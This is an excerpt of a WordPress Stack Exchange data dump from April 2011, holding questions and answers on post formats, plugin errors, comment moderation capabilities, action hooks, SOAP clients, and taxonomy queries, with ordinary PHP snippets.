  <row Id="14786" PostTypeId="1" AcceptedAnswerId="14788" CreationDate="2011-04-14T22:03:51.463" Score="0" ViewCount="68" Body="&lt;p&gt;I had this problem on 2 web sites (different versions of WP, different web hosts, different plugins), once in a while some images are disappearing from media library. Is it plugin-related issue, database, web host?&lt;/p&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-04-14T22:20:42.487" Title="Why images are disappearing on WordPress web site?" Tags="&lt;images&gt;&lt;database&gt;&lt;3.1&gt;" AnswerCount="1" />
  <row Id="14787" PostTypeId="2" ParentId="14761" CreationDate="2011-04-14T22:08:06.127" Score="0" ViewCount="" Body="&lt;p&gt;You can use custom meta boxes inside your custom post type&#xA;&lt;a href=&quot;http://curtishenson.com/wordpress-custom-post-types-and-meta-boxes-example/&quot; rel=&quot;nofollow&quot;&gt;http://curtishenson.com/wordpress-custom-post-types-and-meta-boxes-example/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-04-14T22:08:06.127" />
  <row Id="14788" PostTypeId="2" ParentId="14786" CreationDate="2011-04-14T22:20:42.487" Score="0" ViewCount="" Body="&lt;p&gt;&quot;Disappearing&quot; means very little unless you can say the image file really disappeared from the server or if it's just a broken link you're seeing in page source or a bad link in the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Little help can be offered unless you look in logs and see errors, ask your host about problems and nail down the similarities and differences between the two instances of missing images, versions of WP and plugins.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-04-14T22:20:42.487" CommentCount="4" />
  <row Id="14789" PostTypeId="1" AcceptedAnswerId="14799" CreationDate="2011-04-14T22:32:43.353" Score="0" ViewCount="149" Body="&lt;p&gt;I have installed the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-nivo-slider/&quot; rel=&quot;nofollow&quot;&gt;wp-nivo-slider&lt;/a&gt; and am now getting a list of these errors on my /wp-admin/ page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Cannot modify header information - headers already sent by (output started at /html/wp-content/plugins/wp-nivo-slider/wp-nivo-slider.php:633) in /html/wp-login.php on line 354&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-04-15T01:56:46.153" Title="WP-nivo-slider Producing Error &quot;Cannot modify header information - headers already sent by ...&quot;" Tags="&lt;plugins&gt;&lt;errors&gt;" AnswerCount="1" />
  <row Id="14790" PostTypeId="2" ParentId="14675" CreationDate="2011-04-14T22:46:49.973" Score="0" ViewCount="" Body="&lt;p&gt;Think I need to work on this code before showing it publicly again :)&lt;/p&gt;&#xA;" OwnerUserId="4642" LastEditorUserId="4642" LastEditorDisplayName="" LastEditDate="2011-04-19T15:45:50.793" LastActivityDate="2011-04-19T15:45:50.793" />
  <row Id="14791" PostTypeId="1" CreationDate="2011-04-14T22:52:27.677" Score="0" ViewCount="232" Body="&lt;p&gt;I'm looking to display an image for all the &quot;standard&quot; post formats on my site. I have done some research on how to add quote, video, photo, etc and have been able to implement these images into the site but when it comes to the &quot;standard&quot; post type I get nothing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done all the necessary steps in the functions.php file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-formats', array( 'aside', 'chat', 'gallery', 'image', 'link', 'quote', 'status', 'video', 'audio' ) ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my code to display the images is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;post-format&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php if(has_post_format('video')) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/post-icons/video.png&quot; alt=&quot;Video&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(has_post_format('image')) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/post-icons/photo.png&quot; alt=&quot;Photo&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(has_post_format('standard')) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/post-icons/text.png&quot; alt=&quot;Text&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(has_post_format('audio')) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/post-icons/audio.png&quot; alt=&quot;audio&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(has_post_format('aside')) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/post-icons/aside.png&quot; alt=&quot;aside&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(has_post_format('gallery')) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/post-icons/gallery.png&quot; alt=&quot;gallery&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(has_post_format('link')) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/post-icons/link.png&quot; alt=&quot;link&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(has_post_format('quote')) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/post-icons/quote.png&quot; alt=&quot;quote&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(has_post_format('status')) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/post-icons/status.png&quot; alt=&quot;status&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(has_post_format('false')) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/post-icons/standard.png&quot; alt=&quot;standard&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(has_post_format('chat')) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/post-icons/chat.png&quot; alt=&quot;chat&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me out on how to get the standard post images to display?&lt;/p&gt;&#xA;" OwnerUserId="4679" LastActivityDate="2011-04-14T23:39:37.437" Title="Formatting Standard Post Format" Tags="&lt;post-formats&gt;&lt;styles&gt;" AnswerCount="2" />
  <row Id="14792" PostTypeId="2" ParentId="14779" CreationDate="2011-04-14T22:53:39.063" Score="0" ViewCount="" Body="&lt;p&gt;One option might be to export both XML files, merge them using a file merging tool like &lt;a href=&quot;http://winmerge.org&quot; rel=&quot;nofollow&quot;&gt;http://winmerge.org&lt;/a&gt;, delete all posts and replace with the merged version.&lt;/p&gt;&#xA;" OwnerUserId="4642" LastActivityDate="2011-04-14T22:53:39.063" CommentCount="1" />
  <row Id="14793" PostTypeId="1" AcceptedAnswerId="14796" CreationDate="2011-04-14T23:03:46.060" Score="0" ViewCount="179" Body="&lt;p&gt;I want to setup a user account that only has access to moderate comments - for all posts - but doesn't have access to edit any posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I give the user the moderate comments privilege (using an old role manager plugin), it doesn't let them moderate comments on other articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin that does this, or something I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="2576" LastActivityDate="2011-05-17T14:49:54.590" Title="How Do I Allow Comment Moderation for Other User's Posts?" Tags="&lt;comments&gt;&lt;moderation&gt;&lt;privileges&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="14794" PostTypeId="2" ParentId="14791" CreationDate="2011-04-14T23:25:42.377" Score="2" ViewCount="" Body="&lt;p&gt;Try this code instead of your block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$format = get_post_format();&#xA;if ( false === $format ) {&#xA;?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/post-icons/standard.png&quot; alt=&quot;standard&quot; /&amp;gt;&#xA;&amp;lt;?php &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4642" LastActivityDate="2011-04-14T23:25:42.377" />
  <row Id="14795" PostTypeId="2" ParentId="14791" CreationDate="2011-04-14T23:39:37.437" Score="4" ViewCount="" Body="&lt;p&gt;Technically speaking, there is no &quot;standard&quot; Post Format. Rather, &quot;standard&quot; is simply the &lt;em&gt;default&lt;/em&gt; - as in, no Post Format type is defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no Post Format type is defined, &lt;code&gt;get_post_format()&lt;/code&gt; simply returns &lt;code&gt;null&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest re-factoring your code above, and re-naming your icon images using the exact Post Format string. That way, you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;post-format&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php $format = get_post_format(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if( $format ) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php echo home_url(); ?&amp;gt;/post-icons/&amp;lt;?php echo $format; ?&amp;gt;.png&quot; alt=&quot;&amp;lt;?php echo $format; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php echo home_url(); ?&amp;gt;/post-icons/standard.png&quot; alt=&quot;Standard&quot; /&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or perhaps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;post-format&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php $format = ( get_post_format() ? get_post_format() : 'standard' ); ?&amp;gt;&#xA;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php echo home_url(); ?&amp;gt;/post-icons/&amp;lt;?php echo $format; ?&amp;gt;.png&quot; alt=&quot;&amp;lt;?php echo $format; ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Either one should work.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-14T23:39:37.437" />
  <row Id="14796" PostTypeId="2" ParentId="14793" CreationDate="2011-04-15T01:06:04.393" Score="2" ViewCount="" Body="&lt;p&gt;Probably not the answer you want to hear, but I'm afraid that is not possible as a user needs the edit_posts Capability in order to access the moderate_comments capability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(source: &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#moderate_comments&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Roles_and_Capabilities#moderate_comments&lt;/a&gt;) &lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-04-15T01:06:04.393" CommentCount="3" />
  <row Id="14797" PostTypeId="1" CreationDate="2011-04-15T01:47:39.387" Score="0" ViewCount="313" Body="&lt;p&gt;What is the difference between the &lt;code&gt;after_setup_theme&lt;/code&gt; and &lt;code&gt;init&lt;/code&gt; action hooks? It seems they are both called right before any page in WordPress is loaded (even admin pages).&lt;/p&gt;&#xA;" OwnerUserId="4682" LastActivityDate="2011-04-15T02:35:31.703" Title="Difference between after_setup_theme and init action hooks?" Tags="&lt;hooks&gt;&lt;actions&gt;&lt;add-action&gt;&lt;init&gt;" AnswerCount="1" />
  <row Id="14798" PostTypeId="1" AcceptedAnswerId="15171" CreationDate="2011-04-15T01:52:08.073" Score="0" ViewCount="219" Body="&lt;p&gt;I have a hierarchical custom post type (missions) setup. I want to create a few child pages for it (discuss, petition, educate), but I want each of those child pages to display a different template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There does not appear to be a way to use a selected template, like on a normal page, so I thought maybe I could just have the child custom post type pages display content based on their slug. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the permalinks would appear as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/mission/mission-01/&#xA; - /mission/mission-01/discuss/&#xA; - /mission/mission-01/petition/&#xA; - /mission/mission-01/educate/&#xA;&#xA;/mission/mission-02/&#xA; - /mission/mission-02/discuss/&#xA; - /mission/mission-02/petition/&#xA; - /mission/mission-02/educate/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since they are children, and the Discuss pages could all use the same slug, maybe a function that gives all pages with slug /discuss/ the page-discuss-template.php from my theme directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2011-04-20T00:26:56.140" Title="Custom Post Type Template Based on Page Slug?" Tags="&lt;custom-post-types&gt;&lt;page-template&gt;&lt;templates&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="14799" PostTypeId="2" ParentId="14789" CreationDate="2011-04-15T01:56:46.153" Score="2" ViewCount="" Body="&lt;p&gt;This error is typically from there being extra spaces after the final closing ?&gt; tag in a plugin file, or possibly even your wp-config.php file. &lt;/p&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2011-04-15T01:56:46.153" CommentCount="1" />
  <row Id="14800" PostTypeId="2" ParentId="14797" CreationDate="2011-04-15T02:35:31.703" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;after_setup_theme&lt;/code&gt; action hook is fired before the actual &lt;code&gt;$wp-&amp;gt;init();&lt;/code&gt; which Set up the current user and only then &lt;code&gt;init&lt;/code&gt; action hook is fired which means that they are pretty much the same with one major difference  and that is at &lt;code&gt;after_setup_theme&lt;/code&gt; the user is not authenticated, and at &lt;code&gt;init&lt;/code&gt; he is (assuming that we are talking about an actual user).&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-15T02:35:31.703" />
  <row Id="14801" PostTypeId="1" CreationDate="2011-04-15T03:05:03.233" Score="5" ViewCount="193" Body="&lt;p&gt;I'm wondering &lt;strong&gt;what pitfalls&lt;/strong&gt; &lt;em&gt;(if any?)&lt;/em&gt; developers here have run into &lt;strong&gt;when distributing WordPress plugins&lt;/strong&gt; via &lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;the WordPress plugin repository&lt;/a&gt; &lt;strong&gt;that embed a SOAP client&lt;/strong&gt; for accessing &lt;a href=&quot;http://en.wikipedia.org/wiki/SOAP&quot; rel=&quot;nofollow&quot;&gt;SOAP web services&lt;/a&gt; for critical plugin features &lt;em&gt;(or any plugin distributed widely via any other repository, for that matter.)&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(It is my assumption that a company publishing plugins would be much better off to develop &lt;a href=&quot;http://en.wikipedia.org/wiki/Representational_State_Transfer#RESTful_web_services&quot; rel=&quot;nofollow&quot;&gt;RESTful web services&lt;/a&gt; but I am wanting to validate this opinion by surveying the opinions of others here. Note that I asked our very own &lt;a href=&quot;http://wordpress.stackexchange.com/users/46/eamann&quot;&gt;@EAMann&lt;/a&gt; a &lt;a href=&quot;http://namesake.com/conversation/mikeschinkel/ericmann-do-you-have-experience-with-building-restful-web-services-with-aspnet-using-mvc-andor-wcf-and-if-so-what-can-you-tell-people-who-default-to-building-their-web-services-in-soap-because-they-are-unaware-of-rest&quot; rel=&quot;nofollow&quot;&gt;related question on Namesake.com&lt;/a&gt;.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm making this a community wiki so we can capture all thoughts on the subject.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-08-09T21:26:16.573" CommunityOwnedDate="2011-04-15T03:08:10.863" Title="Pitfalls when Distributing Plugins that Access SOAP Web Services?" Tags="&lt;best-practices&gt;&lt;plugin-wp-restful&gt;&lt;soap&gt;&lt;web-services&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="14802" PostTypeId="1" AcceptedAnswerId="14803" CreationDate="2011-04-15T03:36:53.500" Score="0" ViewCount="157" Body="&lt;p&gt;Building my &lt;a href=&quot;http://www.dekho.com.au/&quot; rel=&quot;nofollow&quot;&gt;first site.&lt;/a&gt;&#xA;Running v3.1.1 with the Boldy theme from Site5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Boldy makes use of &lt;a href=&quot;http://www.no-margin-for-errors.com/projects/prettyphoto-jquery-lightbox-clone/&quot; rel=&quot;nofollow&quot;&gt;prettyPhoto Lightbox.&lt;/a&gt;&#xA;If you refer to &lt;a href=&quot;http://wordpress.site5.net/boldy/doc/&quot; rel=&quot;nofollow&quot;&gt;the instructions&lt;/a&gt; for setting up Boldy (bottom of page)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For adding Lightbox behaviour to a&#xA;  link just add rel=&quot;prettyPhoto&quot; to the&#xA;  image Link Rel&#xA;  &lt;img src=&quot;http://i.stack.imgur.com/QP3fJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have just imported about 100 blog posts from Wordpress.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 questions (although very related:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How do I batch update all previous pictures to load by default with the prettyPhoto&#xA;i.e. Apply a 'prettyphoto' tag to each pictures rel.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have about 15 authors for the blog.  I know they will forget to manually set this prettyPhoto tag = Is there a way to make it default to this?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4280" LastActivityDate="2011-04-15T03:55:07.767" Title="Apply a tag to every images 'Link Rel'" Tags="&lt;update&gt;" AnswerCount="1" />
  <row Id="14803" PostTypeId="2" ParentId="14802" CreationDate="2011-04-15T03:55:07.767" Score="2" ViewCount="" Body="&lt;p&gt;You can create a &lt;code&gt;content_filter&lt;/code&gt; that will update on the fly meaning that you don't have to update all previous pictures and it will be the default so you don't have to worry about your authors. something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function autoadd_rel_prettyPhoto($content) {&#xA;    global $post;&#xA;    $pattern        = &quot;/(&amp;lt;a(?![^&amp;gt;]*?rel=['\&quot;]prettyPhoto.*)[^&amp;gt;]*?href=['\&quot;][^'\&quot;]+?\.(?:bmp|gif|jpg|jpeg|png)['\&quot;][^\&amp;gt;]*)&amp;gt;/i&quot;;&#xA;    $replacement    = '$1 rel=&quot;prettyPhoto['.$post-&amp;gt;ID.']&quot;&amp;gt;';&#xA;    $content = preg_replace($pattern, $replacement, $content);&#xA;    return $content;&#xA;}&#xA;&#xA;add_filter(&quot;the_content&quot;,&quot;autoadd_rel_prettyPhoto&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-15T03:55:07.767" CommentCount="3" />
  <row Id="14804" PostTypeId="1" CreationDate="2011-04-15T04:03:52.660" Score="5" ViewCount="311" Body="&lt;p&gt;What is the &lt;strong&gt;best way to embed a SOAP client into a WordPress plugin&lt;/strong&gt; that one would distribute via the WordPress plugin repository? Is it best to use?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;http://php.net/manual/en/class.soapclient.php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;PHP 5.x Soap Client&lt;/strong&gt;&lt;/a&gt;, &lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;http://framework.zend.com/manual/en/zend.soap.client.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Zend Soap Client&lt;/strong&gt;&lt;/a&gt;, &lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;http://sourceforge.net/projects/nusoap/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;NuSoap Toolkit for PHP&lt;/strong&gt;&lt;/a&gt;, &lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;http://pear.php.net/package/SOAP&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;PEAR SOAP Client/Server for PHP&lt;/strong&gt;&lt;/a&gt;, or&lt;/li&gt;&#xA;&lt;li&gt;Some &lt;strong&gt;other SOAP client for PHP&lt;/strong&gt;?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What's more, why recommend the one you do? And what are the pros and cons of each. &lt;em&gt;&quot;Bonus (karma) points&quot;&lt;/em&gt; if you have actual experiences with using a SOAP client in widely a distributed plugin. And are there any differences between calling a .NET SOAP server, a Java SOAP server, or some other SOAP server stack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note this is a related question to the question &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14801/pitfalls-when-distributing-plugins-that-access-soap-web-services&quot;&gt;&lt;em&gt;&quot;Pitfalls when Distributing Plugins that Access SOAP Web Services?&quot;&lt;/em&gt;&lt;/a&gt; and I'm also making this a a community wiki.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here are some potentially helpful links for others researching this same question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://users.skynet.be/pascalbotte/rcx-ws-doc/phpclient.htm&quot; rel=&quot;nofollow&quot;&gt;Make a SOAP client using PHP and NuSoap.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.codingfriends.com/index.php/2010/04/16/soap-client-calling-net-web-service/&quot; rel=&quot;nofollow&quot;&gt;Soap Client calling .NET Web service&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://developer.apple.com/internet/webservices/soapphp.html&quot; rel=&quot;nofollow&quot;&gt;Using SOAP with PHP &lt;em&gt;(on Apple.com)&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ferdychristant.com/blog/articles/DOMM-6J2QFF&quot; rel=&quot;nofollow&quot;&gt;PHP &amp;amp; Web Services&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.scottnichol.com/nusoapprogwsdl.htm&quot; rel=&quot;nofollow&quot;&gt;Programming with NuSOAP Using WSDL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.devshed.com/c/a/PHP/Using-Amazon-Web-Services-With-PHP-And-SOAP-part-1/&quot; rel=&quot;nofollow&quot;&gt;Using Amazon Web Services With PHP And SOAP&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://phpwebservices.blogspot.com/2008/01/simplest-php-web-service-client.html&quot; rel=&quot;nofollow&quot;&gt;The simplest PHP Web Service Client&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.codeproject.com/KB/webservices/phpsoapwebservicescsharp.aspx&quot; rel=&quot;nofollow&quot;&gt;Developing SOAP Web Services with PHP/C#&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://onlamp.com/pub/a/php/2003/07/03/php_amazon_soap.html&quot; rel=&quot;nofollow&quot;&gt;A PHP Web Services Client&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-04-15T05:27:07.690" LastActivityDate="2011-07-25T11:29:13.897" CommunityOwnedDate="2011-04-15T04:04:13.753" Title="Embedding a SOAP Client into a WordPress Plugin?" Tags="&lt;best-practices&gt;&lt;soap&gt;&lt;web-services&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="14805" PostTypeId="1" AcceptedAnswerId="14900" CreationDate="2011-04-15T07:48:45.457" Score="0" ViewCount="156" Body="&lt;p&gt;Wondering if anyone can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm putting together a site which features music reviews, amongst other things. The set up is built on a custom post type and a number of associated taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Post type:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;my_albumreviews&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Taxonomies:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;artist&lt;/li&gt;&#xA;&lt;li&gt;label&lt;/li&gt;&#xA;&lt;li&gt;release date&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On a page displaying an album review ( &lt;code&gt;my_albumreviews&lt;/code&gt; post type ), under the main content I need a section which shows &lt;strong&gt;&quot;Other reviews from this artist&quot;&lt;/strong&gt;. I think I'm along the right lines with this but just can't get it to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$artistname = get_the_terms($post-&amp;gt;ID, 'artist');&#xA;        $args = array(&#xA;        'post_type'=&amp;gt;'my_albumreviews',&#xA;        'tax_query'=&amp;gt;array(array('taxonomy'=&amp;gt;'artist',&#xA;                    'field'=&amp;gt;'id',&#xA;                    'terms'=&amp;gt; '$artistname'&#xA;                    ))&#xA;        );&#xA;$artist_reviews = new WP_query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is then followed by.. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ($artist_reviews-&amp;gt;have_posts()) : $artist_reviews-&amp;gt;the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..which returns nothing to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4687" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-15T12:28:09.380" LastActivityDate="2011-04-16T08:44:56.920" Title="How to pull a number posts from a specific Taxonomy within a Custom Post type" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="1" />
  <row Id="14806" PostTypeId="1" CreationDate="2011-04-15T07:58:56.073" Score="0" ViewCount="64" Body="&lt;p&gt;I'm building a plugin with several optional components: each one is packed in his own class that is instantiated within a common &quot;container&quot;. Here's some lines from the containter costructor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function PlayByForum(){&#xA;$this-&amp;gt;setReferencedFile(__FILE__);&#xA;register_activation_hook($this-&amp;gt;getReferencedFile(), array(&amp;amp;$this,'on_network_activation'));    &#xA;$this-&amp;gt;diceRoller = new Dice_Roller(&amp;amp;$this);&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While here's the DiceRoller costructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Dice_Roller(PlayByForum &amp;amp;$pbf){&#xA;register_activation_hook($pbf-&amp;gt;getReferencedFile(), array(&amp;amp;$this, 'on_network_activation'));&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, while the activation hook is correctly fired for PlaybyForum object, it's not fired for DiceRoller object; the referenced file is the same for both, so i simply don't understand why it happens. Any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tnx in advance,&#xA;gabriele&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;Solved: it was an error in referencing parent object to subclasses. See comments for details&lt;/p&gt;&#xA;" OwnerUserId="4666" LastEditorUserId="4666" LastEditorDisplayName="" LastEditDate="2011-04-15T08:56:33.677" LastActivityDate="2011-04-15T08:56:33.677" Title="register_activation_hook not fired from a subclass" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;multisite&gt;&lt;hooks&gt;&lt;add-action&gt;" CommentCount="2" />
